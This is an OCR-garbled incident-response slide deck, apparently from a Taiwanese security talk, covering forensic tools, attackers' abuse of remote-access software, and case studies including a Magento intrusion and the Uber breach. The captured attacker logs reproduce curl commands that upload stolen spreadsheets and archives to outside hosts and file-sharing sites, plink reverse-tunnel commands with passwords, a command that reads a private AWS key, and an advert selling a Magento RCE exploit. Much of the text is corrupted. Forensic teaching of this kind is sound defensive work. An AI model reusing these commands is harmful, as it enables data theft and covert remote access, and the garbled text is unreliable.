R IZTVEL A TIAEE

=il

B RS

File Edit Event Filter Tools Options Help
EH | QABE | vA® B &K

Time ... Process Name FID Operation Path Result Detaal
F2F 1., W wmiprvse exe 1508 [k ResdFile CAWindows\SysterrdAale32 11 SUCCESS Offsst: 1,879,552, Le...
EFF 11 NvBackend.exe 3100 # RegOpenKey HECU S oftwareClasses SUCCESS Desired Access: Max...
F2F 11, BB MvBackendexe 3100 @ RegSethfcKey  HKCU'\Softwase'Classes SUCCESS ReySetiaformasticaCl...
EF 11 NvBackend.exe 3100 # RegQueryKey HECU'Softwae\Classes SUCCESS Quexy: Nare
4 11... ", Explowes EXE 608 9 ReadFile ¢ AWindows\Systerr3Zishlwspi.dll SUCCESS Offset: 429 056, Leng..
F2F 11, " wmiprvse exe 1508 @ RegQuenyKey  HKLM SUCCESS :
F2F 11, %7 wwiprvse.exe 1506 @ RegOpenKey  HKLMSOFTWAREMicicecfWEEMYCIM, . SUCCESS
EF 11 NvBackend. exe 3100 @ RezQueryKey HECU'SoftwaeWClasses SUCCESS
E2F 11, B NvBackendexe 3100 @ RegQueKey  HKCU'Softwsus'Classes SUCCESS
EFF 11 NvBackend.exe 3100 @ RegQueryKey HECU S oftwareClasses SUCCESS :
E 11 NvBackend.exe 3100 @Y RegOpenKey HECU'Softwrare \Classes\Wowtd3 2Node \Inte ... NAME NOT FOUND  Desived Access: Read
11 NvBackend.exe 3100 # RegOpenKey HECRWowtd3 2Node Inteface\ {423ECO1E-... SUCCESS Desired Access: Read
E 11 NvBackend.exe 3100 @Y RegSethfoKey — HECR\Wowtd32Node\Inteface\ {423ECO1E-.. SUCCESS KeySetInformationCl...
EFF 11 NvBackend.exe 3100 # RezCloseKey HECU S oftwareClasses SUCCESS
F2F 11... BB MvBackendexe 3100 @ RegQuemyKey  HKCR\Wowsd32Node\Intedface \{(4Z3ECO1E- . SUCCESS Quary: Fasoa
F2F 1., [ NvBackendexs 3100 @ RegQueyKey  HKCRWowbA3ZNode\Intedface\{4BECOIE-. SUCCESS Quaxy: HaadlaTogs, ...
4 11... ", Explowes EXE 6008 9 ReadFile ¢ AWindows\Systerr3Zishlwapi.dll SUCCESS Offsat: 420,864, Leng...
FF 11, " wmiprvse exe 1508 # RegQueyKey  HKLMSOFTWAREMICROSOFTWEEM, . SUCCESS Quexy: Fll, SxlEays...
% 11... [ NvBackendexe 3100 @Y RegOpenKey  HKCU'SoftwsueClassesWowed32odelInte... NAME NOT FOUND  Desived Access: Read
F4F 11... B9 wipevse.exe 1505 @ RezQueryKeySec. HKLMSOFTWAREMICROSOFTSWEEM... BUFFER TOO SMALL
F2F 11, 7 wripevse exe 1508 @ RegQueryWalue  HKLMSOFTWAREMICROSOFTYWEEM... SUCCESS Type: REG_SZ, Leng...
F2F 11, ) NvBackendexe 3100 @ RegQueKey  HKCRWowbA32ode\Intedace\(4ZECOLE- . SUCCESS Query: Handle Togs, ..
E 11 NvBackend.exe 3100 @Y RegOpenKey HECRWowtd3 2Node \Inteface ' {423ECO1E-... SUCCESS Desived Access: Read
EF 1. @ WBsclendere 3100 8 RegQueyKey  HKCRWow43Rodellnteidace{4BECOIE-. SUCCESS Quesy: Nare

LAr 44

AT 1 1

ERT I SN
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1 Strings

i A e 2 A9 Binary EE'%?E%UHj&EEﬁJ
- EAERE  HABRCUBEENNE—D DS

"oB el&
BCryptGetProperty
Hode Cha

win? LogonSessionCount_lsass err
win?_h3DesKey lsass err

read DESETable lsa
ReadMemory_lsass(h
InitParamForWin7 e
lsass.exe 0Os not
the first paranm
cndline to create
-¢ <cmdlines
failed, the Creden
SplitNamedndHash f
cnd fco -8 Cur
Dbg Inf: -dbg
domain: %z Userna
logon seszion (%.8
Got %d itenm LUI
Found: %d C
SeDebugPrivilege
CreateProcessWithL
advapil3z.dll ke
rnel 32 .41

e % % B
@7 RY 47 27 s

T Y LY <Y FYAY p? Y T A

£ ? P ¥ <7 T? b? p? ~% vt

& HB ZE E ? <7 B %ﬁ 7 p? Z7? PIB plB
i F BCryptDecrypt BCryptEncrypt  BCryptGenera
BCryptSetProperty  BCryptOpendlgorithmProvider berypt.dll O b jectleng
iningHodeCBC 3IDES read win7_LogonSessionlList_lsass err rea

read win7_IV 8h err read win7 Key 18h err read win7 Key Offset
read LogonSessionlist lsass err read LogonSeszionCount_lsass err read
S8 err read ¢ pDESEKey lsass err LSASRV.DLL %we:%we:%s:% B lockLen
ashesPtr err Decode buf err hashesLength > sizeof(buf pFirstOne — NULL err
rr GetProcessModuleHandle err LSASRY.d1]1 can not open lsass.exe! not
support! Tin2K8R2 WinZK8 Win? Vieta WinZK3 WinZP D
-dbg other params ... Uze mimikatz to get password and hash
a ney process and change it's NTLM credentials -8 <lUgerNames:<Domain
List logon sessions and NTLM credentials by inject dll cal Opti

%ZEEE SSETET | 5] [

-

D:\MyTools\IRTool\Strings>strings a.exe | findstr pass
Use mimikatz to get password and hash
de passe :
de passe :
passe
passe expir

D:\MyTools\IRTool\Strings>

TALENT
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1 Wireshark

\

c

. EDH%%EZIK*%%Z‘HE RENEERBRE
ERRE  NERRRETEHRBRETRH

M EEEBEES [Wireshark 1.12.2 (v1.12.2-0-g898fa22 from master-1.12)]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

coam BRI Ae»aTL B QAQQAD #BDM % &

Filter: | :| Expression... Clear Apply Save

)ED"L“}
2o
@ I
>F
)
i

\

No. Time Source Destination Protocol Length Info

3 0.13748500192.168.1. 37 104.25.218.21 TCP 54 20287-443 [ACK] Seq=2 Ack=2 win=4380 Len=0
4 0.35583800220.181.7.190 192.168.1.37 TCP 54 80-20294 [FIN, ACK] Seq=1 Ack=1 win=57 Len=0
51.5540700031.13.87.1 192.168.1.37 TLSv1.z 123 Application Data
6 1.75389400192.168.1.37 31.13.87.1 TCP 54 19119-443 [ACK] Seq=1 Ack=70 win=3878 Len=0
7 1.93606600192.168.1. 37 192.168.1.1 DNS 76 standard query 0x025f A www.facebook.com
8 1.93649000192.168.1.37 31.13.87.36 TLSv1.z 240 Application Data
9 1.93655700192.168.1. 37 31.13.87.36 TLSvV1.z 506 Application Data
10 1.93967700 31.13.87.36 192.168.1.37 TLSV1.:Z 96 Application Data
11 1.94013300192.168.1.1 192.168.1.37 DNS 121 standard query response 0x025f CNAME star-mini.clOr
12 1.94093300192.168.1.37 192.168.1.1 DNS 87 Standard query 0x0lbb A star-mini.clOr.facebook.com

yt ( yt p )
Interface id: 0 (\Device\NPF_{97695C08-B8AD-474B-8692-45945807D4F4})
Encapsulation type: Ethernet (1)
Arrival Time: Jan 17, 2017 11:39:21.334430000
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1484624361.334430000 seconds
[Time delta from previous captured frame: 0.218353000 seconds]
[Time delta from previous displayed frame: 0.218353000 seconds]
[Time since reference or first frame: 0.355838000 seconds]
Frame Number: 4

Frame Length: 54 bytes (432 bits) E@ § m':‘l' ;i

Fantura | anarhs ©4 hiracs 7429 ha+sea)




1 Event Log Explorer

- OJ#EZ I Windows Event Logs
ERH . 2% Event Logs

ETIEE

< igRegExp - ERFE= -
B

BB EINEE

ﬁ;g Untitled.elx - Event Log Explorer
|

i File Tree View Event Advanced Window Help

BRR2ERYEERT <aditer - X T QMHE
Computers Tree X g o % | ZTHE evix I 255 evix I FER2TE evid
{9 Log Files 141 4  » 2 |showing 34784 event(s) [ RA
-2 T2 (C:\Users\zerochenl [Type Date Time Event |Source
-7 F4& (C:WUsers\zerochen\De| | 4624 |Microsoft-Windows-
o= Ec (:(,::\Users\zerochen\De Audit Success  2017/2/7 L 11:26:52 4672 Microsoft-Windows-
- IBRHER (Ci\serszeroche 1o " ) it Success | 2017/2/7 | L 11:26:52 4634 Microsoft-Windows
@ AuditSuccess | 2017/2/7  _EF 11:26:52 4624 Microsoft-Windows-
@, AuditSuccess |2017/2/7 | k4 11:26:52 4672 Microsoft-Windows-
4 AuditFailre  2017/2/7 B 11:26:35 4625 Microsoft-Windows-
@ AuditSuccess  |2017/2/7  _EF 11:22:02 4634 Microsoft-Windows-
Audit Success | 2017/2/7  EF 11:21:55 4634 Microsoft-Windows-
@ AuditSuccess  |2017/2/7 B 11:21:55 4779 Microsoft-Windows-
@ AuditSuccess  2017/2/7  EF 11:21:48 4778 Microsoft-Windows-
@, AuditSuccess  2017/2/7 | _EF 11:21:48 4672 Microsoft-Windows-
@ AuditSuccess  2017/2/7 | b 11:21:48 4624 Microsoft-Windows-
8 IEFREIhEA -
S FE:
2 RLIBUE: 5-1-00
3 EFETE: -
REEE: -
HAGHBIEE: 0x0000000000000000
HALER: 3
EA:
R HBRIE: 5-1-5-21-2520893551-40076 180263086
[ A=E% 0 lawrance.chang
R GOSMIO
HAGHBIEE: 0x000000003171BC43
N GUID: {00000000-0000-0000-0000-000000000¢

&2 Untitled.elx - Event Log Explorer

i File Tree View Event Advanced Window Help

@@ E R @ E @ T <loadfiter> ~ W @ g E
Eompnistslifes X mgtpex x| Zewx | Zex | EAERew |
DGC 1065531 (ocal) D S o _ .
=) Log Files o » A owing 34784 event(s)” " — - N
2@ M (C:\sers\zerochen) = Find in File: C,\Usgrs‘\zerochen\Deshop\DB_dump\gosO492\3'f§fé.evtx‘ ﬂ
g %% (C:\Users\zerochen\De 2 HJE%‘I:'?T-
H = = Event S
- égﬁgse’s\zm‘*‘e“:& @, AuditSuccess 20 17/2/7 EF 1 e ST [ Clexcuce
-0 BRERA (Co\Vserserochel G ) gt success 20177217 | L 11: .
- - [Tl warning Category: |Z| Exdude
@ AuditSuccess  2017/2f7 | EF 11 -
& Audit Success | 2017/2/7  EF 1t: DEr?r | User: E] B
.& Audit Success | 2017/2/7 b 11 Crlea
& Audit Success  2017/2/7 b 11 (2] Audit Success Computer: E Exdude
-& Audit Success | 2017/2/7 b4 11 Audit Failure |
A audtsuccess 01727 | EF udfEew@:
-& Audit Success  |2017/2/7 b4 11 Exclude
k AuditSuccess  2017/2/7  EF 11 Enter ID numbers and/or ID ranges, s@iparated by comas, use exdamation mark to exdude criteria (e.g. 1-19,100,250-450!10,255)
-& AuditSuccess | 2017/2/7 | EF 1120 rortin description:
i AuditSuccess  2017/2/7 Lt 11 GOSMIO [FlRegexp  [Excude
@ AuditSuccess | 2017/2/7 | EF 11
g Audit Failure 2017/2/7 11 [~ Filter by description params (for security event logs, e.g. Object\Object Name contains elex.exe)
@, AuditSuccess  2017/2/7 4 10:3) [ New condition ][ Delete condition ][ Clear list ]
5 IEREEE - [Name |operator [value
é. IE:
b= T2 BRI
= R RHE:
RFEEE:
B SHAEE: r[C]pate [ Time Separately
BB From: 2017/ 2/17 _F2F 12:00:00 To: 2017/ 2/17 _2F 12:00:00 Exdlude
FHANEHANRR:
RIS = =
Eggggl s Display event for the last 0 Sidays 0 < hours Exdude
R
HarE: Clear ] [ Load... ] [ Save... [ OK ] [ Cancel
A B&ES O

17« LN 1|



1 Log Parser Lizard

- XERMHEEZ Log & LE - o8 T-SQL £1TZX(EER
- R . A5EE )\ Log FEETERM (W : Web Log )

@ 3 O- 2@ b » 3
18- fatHome [P Query [ijData View  E@Reportsand Analysis  [EPExport  R*Tools @ Help
()

W E2 86 53560 W @ ©

New Query Open File All Queries  Reload New Group Rename Delete Manage Manage Code  Show Queries Show OQutg

4l

New Query 1* - Log Parser Lizard

Query Set Group  Group Constants Snippets Window Window
Actions ~ Query Groups ~ Manage = Windows
3 Queres x x |[ B queres
Enter text to search... Plv L Query @Result Grid | ol Chart ‘ & Dashboard
Event Logs Filev Edit+ Format~ Bookmarks~ Insert~ Tools~ Window~
[Z All errors from event log @ 9~ ¥ BX A EE ZZ O0OPLPQ8KQ TS

(=]

Ly’ Count event types from System SELECT * FROM 'C:\Users\zerochen\Desktop\W35VC1i\*.log"'
(2 Prompt for user input

[ Top 1000 Windows Events
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mLTH

e R FEE APEELEEEY
- www.virustotal.com
- viruscheck.tw

i

« R bAE

- malwr.ee
- www.hybrid-analysis.com

- www.joesandbox.com
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1 mEEARLEMER (K)

N

EREEAER ARZE#ERE
aAEHETHE ARz 78 EX (B 5%
ETERAR

I SM B AR 5

ZxaEIR
EREFMEHR

F# (Server

/ Web) ZILEE

& F L3RS
WE - APTE
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1 am@ELT AR

T V. = © sRER @ERFERER)
ea m I ewe r SR IR 22l 3 i EE

186910 B D

TeamViewer e

. PUTTY ff —

csmart T SmartlT — b

WERH AnyDesk FRF5Z AEER
JEPETNAE » B4 VPN  NZFE(E
AERFRAEHEEHEER

USRE - BERLEARS o

® =&

IZHFEZ%.. W IPGuard * X-Fort &2 tEEHE=—"FSETE
2B

® JEIRIEH)

giuomm BRER

B#7FER

¥l % BB TeamVi iewer
1RRMBFM

BEER I
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N .
E-VFLE\_-F ’ ﬁﬁ%
) I

« TeamViewer

WEF) ®REE

BX(0) WAV NIH

« AnyDesk

04-12-2019 02:43:55
04-12-2019 06:35:28
10-12-2019 06:48:32
10-12-2019 09:28:23
10-01-2020 06:22:02
16-01-2020 05:03:15
16-01-2020 05:15:32
05-02-2020 06:28:27
13-02-2020 03:02:58

in Yen 02-03-2020 07:02:13

10-03-2020 06:41:55
27-03-2020 02:54:59
35-04-2020 06:55:52

20-11-2020 07:41:02
25-01-202]1 05:19:34

G-NB  25-01-2021 06:39:46
G-NB  25-01-2021 06:40:52
G-NB  25-01-202]1 06:41:38

25-01-2021 07:07:58

25-01-2021 09:01:37

14-04-2020 06:56:19
-NB 15-04-2020 03:50:40
-NB 15-04-2020 05:58:57
-NB 17-04-2020 07:10:05
-NB 22-07-2020 06:25:47
-NB 21-08-2020 05:41:24

01-11-2019 10:07:25
3:31:21 06 11-2
9:15:17 8-11-2
2-2019 08:32:!3 03-

04-12-2019 04:37:56

04-12-2019 08:52:34
10-12-2019 06:50:07
10-12-2019 10:30:50
10-01-2020 07:39:56
16-01-2020 05:15:24
16-01-2020 06:56:39
05-02-2020 06:31:03
13-02-2020 03:49:24

10-03-2020 06:50:04

27-03-2020 07:51:03
06-04-2020 07:11:54

17-04-2020

20-11-2020 07:42:14
25-01-2021 06:11:36

25-01-2021 08:21:27
25-01-2021 10:16:10

7:
019 03:48:06
019 09:21:17

02-03-2020 07:03:27

14-04-2020 09:02:45
15-04-2020 04:39:01
15-04-2020 07:51:49

22-07-2020 07:33:15
21-08-2020 06:28:32

25-01-2021 06:40:11
25-01-2021 06:41:34
25-01-202]1 06:42:37

Adninistrator

12-2019 08:36:52
Adninistrator
Administrator
Adninistrator
Adninistrator
Administrator
Adninistrator
Adninistrator
Adninistrator
Adninistrator

Adninistrator

Adninistrator
Adninistrator

10:10:04

Adninistrator
<unknovn>

Adninistrator
Adninistrator

RenoteControl

Administrator Renote
Administrator Renote

Adninistrator
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RenoteControl
RemoteControl

Administrator Renote

RemoteControl
RenoteControl
RenoteControl

Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote

RenoteControl
RemoteControl

Administrator Renote
Administrator Renote
Administrator Renote

RemoteControl
RemoteControl .

BEF S[EE #BIO BENV) =|EBEH

Incoming 2021-11-01, 07:44 lger 261 26 | [N 156
Incoming 2022-05-09, 05:36 lger 26 1 1 56 26 |1 56
Incoming 2022-05-09, 08:27 lser 26 | 1 56 26 |1 56
Incoming 2022-05-10, 05:40 lser 26 1 1 56 26 |}l156
Incoming 2022-05-10, 05:41 lser 26 1 1 56 26 |}l156
Incoming 2022-05-10, 06:25 lger 261 156 26 | [N 156
Incoming 2022-05-10, 06:29 lger 261 156 26 || 156
Incoming 2022-05-10, 08:09 lger 261 156 26 11156
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N

e SmartIT

@@=
BRF BEA) BHV) FHBH)

BEETASERA?

4= =) | {3 SHRE - B4 7045 Service Control Manager

@ —w  ya@an

Y IRFS T AR T2 2ulieh -

]
] NE#5478: SmartIT Agent Service

{ | |mmstisass: C:\SmarlTUTWinSve.exe
[ § |REeSE: (R ERRES

{ | |[RBREhSR: SEhRm)

fIRF51E 5 LocalSystem

YESREB(0): &
FHEER): = 28

ERP) BEO)

& smart_it_log.txt

AppleScript ¢ <} E@HRMMMTH> <

2021/10/25 L% 11:01 265,277 EHEplusHE-3.pptx
2022/01/17 L% 10:49 <DIR> = AR
2021/12/17 T4 05:32 8,446 SMEEM. txt

24 {EgR 292,657,234 {itil

12 {@i8%# 59,221,327,872 ficiAnTA
2022/01/21 03:40:54: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:46:43: [ITDosCmder1@856] 10.1.40.189: Path=C:\Users\Somebody\Desktop\ Cmd=curl -k -F
'file=@XXXX VMWare All Information (10_07 Update).xlsx' 'https://45.67.230.43:25443/upload?
token=1465f654ff23f33c2adc’

2022/01/21 03:46:43: [ITDosCmder10856] 10.1.40.189: Sentl=C:&&cd C:\Users\Somebody\Desktop&&curl -k -F
'file=@XXXX VMWare All Information (10_07 Update).xlsx' 'https://45.67.230.43:25443/upload?
token=1465f654ff23f33c2adc’

2022/01/21 03:46:56: [ITDosCmder1@856] 10.1.40.189: Getl=(null)

2022/01/21 ©3:46:56: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:46:56: [ITDosCmder1@856] 10.1.40.189: Get2=C:\Users\Somebody\Desktop

2022/01/21 ©3:49:40: [ITDosCmder1@856] 10.1.40.189: Path=C:\Users\Somebody\Desktop\ Cmd=curl -k -F
'file=@123.x1lsx' 'https://45.67.230.43:25443/upload?token=14657654ff23f33c2adc"’

2022/01/21 03:49:40: [ITDosCmder1@856] 10.1.40.189: Sentl=C:&&cd C:\Users\Somebody\Desktop&&curl -k -F
'file=@123.xlsx' 'https://45.67.230.43:25443/upload?token=14657654ff23f33c2adc’

2022/01/21 ©3:49:40: [ITDosCmder1@856] 10.1.40.189: Getl=(null)

2022/01/21 03:49:40: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:49:41: [ITDosCmder1@856] 10.1.40.189: Get2=C:\Users\Somebody\Desktop

2022/01/21 ©3:50:26: [ITDosCmder1@856] 10.1.40.189: Sentl=cd &&curl -V

2022/01/21 03:50:26: [ITDosCmder10856] 10.1.40.189: Getl=curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL

Release-Date: 2017-11-14, security patched: 2019-11-05

Protocols: dict file ftp ftps http https imap imaps pop3jpop3s smtp smtps telnet tftp
XXXX
Features: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGOgNTLM SSL
2022/01/21 03:50:26: [I
2022/01/21 03:50:26: [I
2022/01/21 03:52:26: [I

VMwWare All Informat

token=146516541f23f

-k -F 'file=@XXXX
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1 PUTTY?

- GUI SSH E,J?%:EE =

Nombre Fecha de modifica... Tipo Tamano

' pageant.exe 14/03/2003 4:13 a. ... Aphicacion 2KB
plink.exe 2/02/2 1:05p.m. Aplicacién 603 KB

5‘ plink_old.exe 8 KB

ﬂ! pscp.exe 250 KB

IJ! psftp.exe 47KB

e
-
<4

r
? p ot
" » ) L% 4

Aplhicacion

© putty.hip 8/03/2003 1230 a.... Archivo de Ayuda

R
©
3
N
&

437KB
g putty_old.exe 14/03/2003 4:13 a. ... Aphicacion 369 KB
2 puttygen.exe 14/03/2003 413 a.... Aplicacién 163 KB

3 233 KB

& puttytel.exe 14/03/2003 9:52 a.... Aplicacién

-" r

Llﬂﬁ@ﬂ%ﬂ’]ﬁ?gﬁ

—-pW passw =

b=

-L listen—port:host:port B iRl °
SRR In EGREIRIR R s o

= B / B X1 803 - RSN
- _— TALENT




1 Plink?

2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:03:

[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]

AppStart!!

10.1.40.58: AppStarted!! Console Account = administrator_user_key

10.1.40.58: Sentl=cd &&
10.1.40.58: Getl=(null)
10.1.40.58: Sent2=cd

2022/04/14 21, 52.032 |||“Q§‘mdg;2432| 10,140 58. _Get2=C\WINDOWSN cvetem32

2022/04/14 21:52:15: [ITDosCmder7432] 10.1.40.58: Path=C:\WINDOWS\system32\ Cmd=START /B "" "C:\Program Files\PuTTY\plink.exe" -R
1235:127.0.0.1:52223 -1 test -pw test2345 194.156.98.80 -batch -v -2 —-hostkey SHA256:1elbLXVd1119/6m@jo4hNBK+YJAwMyo20IpoKQHlUuQ. -N

2022/04/14 21:52:15: [ITDosCmder7432] 10.1.40.58: Sent1l=C:&&cd C:\WINDOWS\system32&S&START /B "" "C:\Program Files\PuTTY\plink.exe" -R
1235:127.0.0.1:52223 -1 test -pw test2345 194.156.98.80 -batch -v -2 —-hostkey SHA256:1elbLXVd1119/6m@jo4hNBK+YJAwMyo20IpoKQHlUuQ. -N

plink.exe -R 1235:127.0.0.1:62223 -| test -pw 1qazSE45 45.134.173.181 -batch -v -2 -hostkey

SHAZ256:SjalzEr+1Sh5SWDHIbEAtv2|i12RFQrBizSpshOCNrYI -N

test@4fh(CNOh688:~$ ifconfig | more

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 45.134.173.181
1netb fe80::3c59:9fff:fed4c:cl92 preiivlen 64
ether 3e:59:9f:4c:cl1:92 txqueuelen 1000

netmask

mtu 1500
205.255.255.0 broadcast 45.134.173.255

scopeid @x20<link>

(Lohernet)

RX packets 681989106 bytes 333266633729 (333.2 Gb,
RX errors @ dropped 1677031 overruns @ frame 0
TX packets 5118432 bytes 795514443 (795.5 MB)

TX errors @ dropped @ overruns @ carrier 0

collisions ¢
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1 BT c2 sMyEELE?

] @ transfer.sh

@ station307.com

transfer.sh

2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21

home sample |

m Recipes About

Fasy file sharing from the command

05:
05:
05:
06:
06:
06:
06:
06:
06:
06:
06:
06:
06:

43:
43:
43:
25:
25:
30:
30:
30:
30:
30:
30:
30:
30:

STATION307

$ curl --upload-file ./hello.txt https://transfer.sh/hello.txt
https://transfer.sh/5Th7Hh/hello. txt

$ transfer hello.txt
HHBBHHBBURB BB RBBHR BB B R BB R BB 100.0%

04:
04:
04:
20:
20:
06:
06:
06:
06:
06:
06:
29:
29:

[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]

10.1.40.189:
10.1.40.189:

: Path=C:\Windows\system32\
: Sentl=C:&&cd C:\Windows\system32&&curl ——upload-file outputl.zip https://transfer.sh/outputl.zip

Send and receive files directly, with ease.

Getl=(null)
Sent2=C:&&cd C:\Windows\system32&&cd
— (. 3 rle)

Cmd=curl —-upload-file outputl.zip https://transfer.sh/outputl.zip |

: AppStarted!! Console Account = administrator_user_key
: Sentl=cd &&

: Getl=(null)

: Sent2=cd

: Path=C:\Windows\system32\
: Sentl=C:&&cd C:\Windows\system32&&curl -T outputl.zip -Lv station307.com

Cmd=curl -T outputl.zip -Lv station307.com |
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1 ZN)/R Case Study N{ERiE

 I—

146.x.x.199

Magento
RCE Exploit

magento-dev.xxx
(10.x.x.12)

/
0o —) (6 =
[AnyDesk] [ _ / 1 (e
[SSH Tunnel] o —) (0 =
SmartlT 0 — [SmartIT ContrOI] Prod Server (6 =) (6 =
(10.x.x.4) p— ” o "1 (192.168.X.X) fo— o—
yA
ko o —) (6 =
0o —) (6 =
User: Administrator e =) =
0 — 2022/05/07 22:21:46: [ITDosCmder12240] 10.1.40.124: Path=C:
0 — \Windows\system32\ Cmd=type "C:\Prod_Key\aws-prod.ppk"
o — 2022/05/07 22:21:46: [ITDoSjmda il t 1=C : &8 C:
/ ) \Windows\ system32&&type
jira 2022/05/07 22:21:46: [ITDOSCMAET I 0T T0 0 T2 T Cet 1=PuTTY-User-Key-
[S.SH] (10XX33) File-3: ssh-rsa

SH]

Jenkins
(10.x.x.221)

B _
Comment: imported-openssh-key
Public-Lines: 6

AAAAB3NzaClyc2EAAAADAQABAAABAQDYermvj4doyFK2KV2D1KQk3uwmVmWmq7QK

+u8VtT8bLHC2bBHfux9Lduh+@LgrYNPlntC5jeAvtD80gVY3pcPNd5vIOWM/Kr7t
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1 Nday HEFEHEFRS

- Magento BUimREERTFBRY , ttELEESRIRAY Exploit fEREAEERE
BBHRAXITE 0.3 BTC = 1.7 BTC £

CVE-2022-24086 RCE download

Most of the major Magento users have already patched and that tool is no longer as dangerous as it was a couple
months ago. But due to potential damage that this tool can inflict this PoC should not be in limited access.

Current price - 0.3 BTC. It includes full instruction on penetration, sample payloads and support.

Our X ring is okOmo@jabber.cz.
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1 Another Case

Cd Uber Breach & Attack Analysis

MITRE ATT&CK Mapping

T1589.001: Credentials

T1621: MFA Authentication Request
T1566.003: Spearphishing via Service
T1078: Valid Account

T1133: External Remote Services

T1135: Network Share Drive Discovery
T1552.001: Credential in Files

T1078.002: Domain Account

T1048: Exfiltration over Alternative Protocol

Credential Access

UBER BREACH

Initial Access
T1078: Valid Account
T1133: External Remote Services

Discovery
T1135: Network Share Drive Discovery

Scanning Uber

— i P —
Adversary 2FA/MFA Spamming VPN Access Infrastructure
Poss!;l)é::tal;:c.igrr:::r:tr;ac:zrk forims T1621: MFA Authentication Request J
T T1566.003: Spearphishing via Service
( T1552.001: Credential in Files

Data Exfiltration N\ PowerShell script

%  contained creds in
cleartext

PowerShell scripts in
Network Share

Privilege Escalation

Exfiltration J

T1048: Exfiltration over Alternative Protocol (

T1078.002: Domain Account

Access to number of Access to Thycotic
e —
apps/infra PAM

UBER INTERNAL NETWORK

=N NE ]
BRIZGE : @MichalKoczwara TALENT

https://twitter.com/MichalKoczwara/status/1571432800787759104



https://twitter.com/MichalKoczwara
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